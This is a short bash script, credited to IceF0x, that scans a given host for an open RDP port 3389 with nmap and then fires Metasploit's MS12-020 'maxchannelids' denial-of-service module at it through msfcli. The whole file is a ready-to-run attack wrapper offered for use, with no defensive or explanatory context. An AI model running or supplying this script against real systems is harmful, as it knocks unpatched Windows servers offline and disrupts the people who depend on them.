#!/bin/bash
# Original MS12_020_RDP_EXPLOITER script (C) by IceF0x
# Under licence GPLv3 http://www.gnu.org/licenses/gpl.txt
# http://linuxtrack.net

red='\e[0;31m'
NC='\e[0m'

if [ "$(whoami)" != root ]
then
echo -e "$red Error:$NC Requires Root Privileges !"
exit 1
fi

if [ "$#" != 1 ]
then
echo " 
Usage: $0 [RemoteHost]
EX)    $0 192.168.1.50"
exit 0
fi

RHOST=$1

if nmap -p3389 $RHOST | grep "open" > /dev/null 2>&1
then
echo -e "$red 3389$NC Port Is Open. Let me Check ms12_020 rdp Exploit"
msfcli auxiliary/dos/windows/rdp/ms12_020_maxchannelids RHOST=$RHOST RPORT=3389 E
elif nmap -p3389 $RHOST | grep "closed" > /dev/null 2>&1
then
echo -e "$red 3389$NC Port is close"
exit 0 
fi